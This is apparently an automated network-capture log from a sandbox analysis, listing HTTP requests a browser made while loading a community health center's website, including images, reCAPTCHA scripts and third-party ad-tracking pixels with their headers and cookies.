Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2020/07/icon__service_3.svg HTTP/1.1Host: valleyprohealth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: http://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2020/07/icon__service_4.svg HTTP/1.1Host: valleyprohealth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: http://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /recaptcha/api.js?onload=ctctOnLoadCallback&render=explicit HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: http://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2020/07/icon__service_1.svg HTTP/1.1Host: valleyprohealth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: http://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /config/valleyprohealth.org/config.json HTTP/1.1Host: cdn.acsbapp.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: http://valleyprohealth.orgSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: http://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2020/07/icon__service_2.svg HTTP/1.1Host: valleyprohealth.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga_9LSM884DML=GS1.1.1713962665.1.0.1713962665.0.0.0; _ga=GA1.1.446872372.1713962665
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/google-language-translator/images/flags.png HTTP/1.1Host: valleyprohealth.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga_9LSM884DML=GS1.1.1713962665.1.0.1713962665.0.0.0; _ga=GA1.1.446872372.1713962665
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2020/07/icon__service_3.svg HTTP/1.1Host: valleyprohealth.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga_9LSM884DML=GS1.1.1713962665.1.0.1713962665.0.0.0; _ga=GA1.1.446872372.1713962665
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2020/07/icon__service_4.svg HTTP/1.1Host: valleyprohealth.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga_9LSM884DML=GS1.1.1713962665.1.0.1713962665.0.0.0; _ga=GA1.1.446872372.1713962665
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2020/07/icon__service_1.svg HTTP/1.1Host: valleyprohealth.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga_9LSM884DML=GS1.1.1713962665.1.0.1713962665.0.0.0; _ga=GA1.1.446872372.1713962665
Source: global traffic	HTTP traffic detected: GET /cache/app/wildcards.json HTTP/1.1Host: cdn.acsbapp.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: http://valleyprohealth.orgSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: http://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /v1/118aade4e91f193939b45ed0d3280360.json HTTP/1.1Host: listgrowth.ctctcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept: /sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: http://valleyprohealth.orgSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: http://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cache/app/wildcards.json HTTP/1.1Host: cdn.acsbapp.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/vpchc/images/favicon/favicon-32x32.png HTTP/1.1Host: valleyprohealth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: http://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /track/up?adv=3l6d758&ref=http%3A%2F%2Fvalleyprohealth.org%2F&upid=6su09yz&upv=1.1.0 HTTP/1.1Host: insight.adsrvr.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: http://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2020/07/img__section-1-550x550.jpg HTTP/1.1Host: valleyprohealth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: http://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/vpchc/images/favicon/favicon-32x32.png HTTP/1.1Host: valleyprohealth.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga_9LSM884DML=GS1.1.1713962665.1.0.1713962665.0.0.0; _ga=GA1.1.446872372.1713962665
Source: global traffic	HTTP traffic detected: GET /v1/118aade4e91f193939b45ed0d3280360.json HTTP/1.1Host: listgrowth.ctctcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /recaptcha/api2/anchor?ar=1&k=6LfHrSkUAAAAAPnKk5cT6JuKlKPzbwyTYuO8--Vr&co=aHR0cDovL3ZhbGxleXByb2hlYWx0aC5vcmc6ODA.&hl=en&v=QoukH5jSO3sKFzVEA7Vc8VgC&size=invisible&cb=2duub94apzi9 HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: http://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /track/upb/?adv=3l6d758&ref=http%3A%2F%2Fvalleyprohealth.org%2F&upid=6su09yz&upv=1.1.0 HTTP/1.1Host: match.adsrvr.orgConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: http://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TDID=69c771e8-c390-4607-a64f-75376e6bf1de
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2020/07/img__section-1-550x550.jpg HTTP/1.1Host: valleyprohealth.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga_9LSM884DML=GS1.1.1713962665.1.0.1713962665.0.0.0; _ga=GA1.1.446872372.1713962665
Source: global traffic	HTTP traffic detected: GET /universal_pixel.1.1.0.js HTTP/1.1Host: js.adsrvr.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://match.adsrvr.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TDID=69c771e8-c390-4607-a64f-75376e6bf1de; TDCPM=CAESFgoHcnViaWNvbhILCJiz5LHKmfI8EAUSFwoIYXBwbmV4dXMSCwiq0-SxypnyPBAFEhUKBmdvb2dsZRILCNTx5LHKmfI8EAUYBSgDMgsI1o_n3uCZ8jwQBUIPIg0IARIJCgV0aWVyMhABWgczbDZkNzU4YAE.
Source: global traffic	HTTP traffic detected: GET /pixel?google_nid=TheTradeDesk&google_cm&google_sc&google_hm=NjljNzcxZTgtYzM5MC00NjA3LWE2NGYtNzUzNzZlNmJmMWRl&gdpr=0&gdpr_consent=&ttd_tdid=69c771e8-c390-4607-a64f-75376e6bf1de HTTP/1.1Host: cm.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://match.adsrvr.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /getuid?https%3a%2f%2fmatch.adsrvr.org%2ftrack%2fcmf%2fappnexus%3fttd%3d1%26anid%3d%24UID&ttd_tdid=69c771e8-c390-4607-a64f-75376e6bf1de HTTP/1.1Host: ib.adnxs.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://match.adsrvr.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bounce?%2Fgetuid%3Fhttps%253a%252f%252fmatch.adsrvr.org%252ftrack%252fcmf%252fappnexus%253fttd%253d1%2526anid%253d%2524UID%26ttd_tdid%3D69c771e8-c390-4607-a64f-75376e6bf1de HTTP/1.1Host: ib.adnxs.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://match.adsrvr.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XANDR_PANID=uJKZnyrNrFYaYH_FgIXGwYYPAhtTPV2gvgHqHXYwegu7_cQ1icsNXna-OGNX8n9VCrZ8zbrko533nge8fqjREV4ZGpRMY_cGum3iQfQPgqQ.; receive-cookie-deprecation=1; uuid2=7999698396796766535
Source: global traffic	HTTP traffic detected: GET /pixel?google_nid=TheTradeDesk&google_cm=&google_sc=&google_hm=NjljNzcxZTgtYzM5MC00NjA3LWE2NGYtNzUzNzZlNmJmMWRl&gdpr=0&gdpr_consent=&ttd_tdid=69c771e8-c390-4607-a64f-75376e6bf1de&google_tc= HTTP/1.1Host: cm.g.doubleclick.netConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://match.adsrvr.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: test_cookie=CheckForPermission
Source: global traffic	HTTP traffic detected: GET /track/cmf/rubicon?gdpr=0 HTTP/1.1Host: match.adsrvr.orgConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://match.adsrvr.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TDID=69c771e8-c390-4607-a64f-75376e6bf1de; TDCPM=CAESFgoHcnViaWNvbhILCJiz5LHKmfI8EAUSFwoIYXBwbmV4dXMSCwiq0-SxypnyPBAFEhUKBmdvb2dsZRILCNTx5LHKmfI8EAUYBSgDMgsI1o_n3uCZ8jwQBUIPIg0IARIJCgV0aWVyMhABWgczbDZkNzU4YAE.
Source: global traffic	HTTP traffic detected: GET /recaptcha/api2/webworker.js?hl=en&v=QoukH5jSO3sKFzVEA7Vc8VgC HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: same-originSec-Fetch-Mode: same-originSec-Fetch-Dest: workerReferer: https://www.google.com/recaptcha/api2/anchor?ar=1&k=6LfHrSkUAAAAAPnKk5cT6JuKlKPzbwyTYuO8--Vr&co=aHR0cDovL3ZhbGxleXByb2hlYWx0aC5vcmc6ODA.&hl=en&v=QoukH5jSO3sKFzVEA7Vc8VgC&size=invisible&cb=2duub94apzi9Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /js/bg/6JK7PkhQPjgGeBZqyHKCSWuJKD5ZJmF_kzmP9QlV1DY.js HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.google.com/recaptcha/api2/anchor?ar=1&k=6LfHrSkUAAAAAPnKk5cT6JuKlKPzbwyTYuO8--Vr&co=aHR0cDovL3ZhbGxleXByb2hlYWx0aC5vcmc6ODA.&hl=en&v=QoukH5jSO3sKFzVEA7Vc8VgC&size=invisible&cb=2duub94apzi9Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /track/cmf/appnexus?ttd=1&anid=7999698396796766535&ttd_tdid=69c771e8-c390-4607-a64f-75376e6bf1de HTTP/1.1Host: match.adsrvr.orgConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://match.adsrvr.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TDID=69c771e8-c390-4607-a64f-75376e6bf1de; TDCPM=CAESFgoHcnViaWNvbhILCJiz5LHKmfI8EAUSFwoIYXBwbmV4dXMSCwiq0-SxypnyPBAFEhUKBmdvb2dsZRILCNTx5LHKmfI8EAUYBSgDMgsI1o_n3uCZ8jwQBUIPIg0IARIJCgV0aWVyMhABWgczbDZkNzU4YAE.
Source: global traffic	HTTP traffic detected: GET /track/cmf/google?g_uuid=&gdpr=0&gdpr_consent=&ttd_tdid=69c771e8-c390-4607-a64f-75376e6bf1de&google_gid=CAESEBEUesOdvpqtWGtPSZ5IcU0&google_cver=1 HTTP/1.1Host: match.adsrvr.orgConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://match.adsrvr.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TDID=69c771e8-c390-4607-a64f-75376e6bf1de; TDCPM=CAESFgoHcnViaWNvbhILCJiz5LHKmfI8EAUSFwoIYXBwbmV4dXMSCwiq0-SxypnyPBAFEhUKBmdvb2dsZRILCNTx5LHKmfI8EAUYBSABKAMyCwjWj-fe4JnyPBAFQg8iDQgBEgkKBXRpZXIyEAFaBzNsNmQ3NThgAQ..
Source: global traffic	HTTP traffic detected: GET /recaptcha/api2/bframe?hl=en&v=QoukH5jSO3sKFzVEA7Vc8VgC&k=6LfHrSkUAAAAAPnKk5cT6JuKlKPzbwyTYuO8--Vr HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: iframeReferer: http://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /recaptcha/api2/reload?k=6LfHrSkUAAAAAPnKk5cT6JuKlKPzbwyTYuO8--Vr HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _GRECAPTCHA=09AKPP-6f0-AU0ZVVvbmh6dkGVd8Yz_j0mI5cetlhPJAQfYHaoqIBzpCMNTnw-wulni80qzNludahOGkL_6T-bQa0
